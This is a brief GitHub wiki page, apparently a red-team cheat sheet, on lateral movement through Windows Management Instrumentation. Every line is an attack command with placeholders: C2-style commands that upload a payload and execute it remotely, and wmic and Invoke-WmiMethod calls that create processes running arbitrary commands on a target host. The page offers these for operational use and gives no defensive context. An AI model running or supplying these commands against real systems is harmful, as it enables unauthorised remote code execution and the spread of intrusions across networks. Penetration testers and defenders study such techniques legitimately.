WMI lateral movement - CraigDonkin/Infrastructure GitHub Wiki
Upload payload to the target, then execute it using WMI
cd <remote directory>
upload <payload>
remote-exec wmi <target> <payload>
link <target>
wmic /node:<target> process call create "cmd.exe /c <command>"
Invoke-WmiMethod -Computer <target> -Class Win32_Process -Name create -Argument "<command>"